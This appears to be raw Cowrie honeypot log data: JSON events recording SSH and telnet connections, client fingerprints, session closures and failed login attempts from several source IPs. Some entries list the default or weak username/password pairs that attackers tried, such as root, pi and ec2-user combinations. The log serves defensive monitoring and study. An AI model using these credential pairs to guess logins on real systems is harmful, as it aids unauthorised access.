{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:15.581228Z","src_ip":"91.92.42.227","session":"28b69ee5f04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:18.157992Z","src_ip":"91.92.42.227","session":"28b69ee5f04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43810,"dst_ip":"10.17.0.5","dst_port":22,"session":"06983f291c74","protocol":"ssh","message":"New connection: 91.92.42.227:43810 (10.17.0.5:22) [session: 06983f291c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:20.362881Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:20.474882Z","src_ip":"91.92.42.227","session":"98e1de1a7f97","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:21.566424Z","src_ip":"91.92.42.227","session":"06983f291c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:21.569878Z","src_ip":"91.92.42.227","session":"06983f291c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":48824,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f1fb5bee40a","protocol":"telnet","message":"New connection: 102.37.220.188:48824 (159.203.135.109:23) [session: 6f1fb5bee40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:22.205320Z"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:22.719785Z","src_ip":"91.92.42.227","session":"98e1de1a7f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41316,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f752d127535","protocol":"ssh","message":"New connection: 91.92.42.227:41316 (10.17.0.5:22) [session: 6f752d127535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:27.173568Z"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:27.258480Z","src_ip":"91.92.42.227","session":"06983f291c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.90891098976135,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:27.579716Z","src_ip":"128.199.8.54","session":"f5f00d17cf5a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:28.452060Z","src_ip":"91.92.42.227","session":"6f752d127535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:28.464383Z","src_ip":"91.92.42.227","session":"6f752d127535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:29.687984Z","src_ip":"91.92.42.227","session":"06983f291c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41390,"dst_ip":"10.17.0.5","dst_port":22,"session":"877296ea8f40","protocol":"ssh","message":"New connection: 91.92.42.227:41390 (10.17.0.5:22) [session: 877296ea8f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:33.792766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:35.389331Z","src_ip":"91.92.42.227","session":"877296ea8f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:35.392804Z","src_ip":"91.92.42.227","session":"877296ea8f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:35.550296Z","src_ip":"91.92.42.227","session":"6f752d127535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36208,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3dd756cff6c","protocol":"ssh","message":"New connection: 38.93.206.2:36208 (10.17.0.5:22) [session: e3dd756cff6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:36.859008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:36.863409Z","src_ip":"38.93.206.2","session":"e3dd756cff6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:36.921952Z","src_ip":"38.93.206.2","session":"e3dd756cff6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"911111","message":"login attempt [root/911111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:37.080977Z","src_ip":"38.93.206.2","session":"e3dd756cff6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:38.134806Z","src_ip":"38.93.206.2","session":"e3dd756cff6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:38.257541Z","src_ip":"91.92.42.227","session":"6f752d127535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56514,"dst_ip":"10.17.0.5","dst_port":22,"session":"da6f57e5b461","protocol":"ssh","message":"New connection: 91.92.42.227:56514 (10.17.0.5:22) [session: da6f57e5b461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:40.429391Z"}
{"eventid":"cowrie.session.closed","duration":45.75494432449341,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:40.772949Z","src_ip":"128.199.8.54","session":"608330b3bcad","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:42.311564Z","src_ip":"91.92.42.227","session":"da6f57e5b461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:42.315092Z","src_ip":"91.92.42.227","session":"da6f57e5b461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:43.381398Z","src_ip":"91.92.42.227","session":"877296ea8f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:46.426117Z","src_ip":"91.92.42.227","session":"877296ea8f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f977be1e7a","protocol":"ssh","message":"New connection: 91.92.42.227:52366 (10.17.0.5:22) [session: c0f977be1e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:47.012380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:49.739220Z","src_ip":"91.92.42.227","session":"c0f977be1e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:49.744562Z","src_ip":"91.92.42.227","session":"c0f977be1e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5de8f5dfc710","protocol":"ssh","message":"New connection: 103.77.175.15:43116 (159.203.135.109:22) [session: 5de8f5dfc710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:49.784354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:49.789168Z","src_ip":"103.77.175.15","session":"5de8f5dfc710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:50.039103Z","src_ip":"103.77.175.15","session":"5de8f5dfc710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07041983","message":"login attempt [root/07041983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:50.792394Z","src_ip":"103.77.175.15","session":"5de8f5dfc710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:51.032625Z","src_ip":"91.92.42.227","session":"da6f57e5b461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:52.043696Z","src_ip":"103.77.175.15","session":"5de8f5dfc710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:53.709692Z","src_ip":"91.92.42.227","session":"da6f57e5b461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00990557670593,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:54.215081Z","src_ip":"102.37.220.188","session":"6f1fb5bee40a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53126,"dst_ip":"10.17.0.5","dst_port":22,"session":"260a5d117781","protocol":"ssh","message":"New connection: 91.92.42.227:53126 (10.17.0.5:22) [session: 260a5d117781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:55.871139Z"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:56.411361Z","src_ip":"91.92.42.227","session":"c0f977be1e7a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:57.109286Z","src_ip":"91.92.42.227","session":"260a5d117781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:50:57.112442Z","src_ip":"91.92.42.227","session":"260a5d117781","protocol":"ssh"}
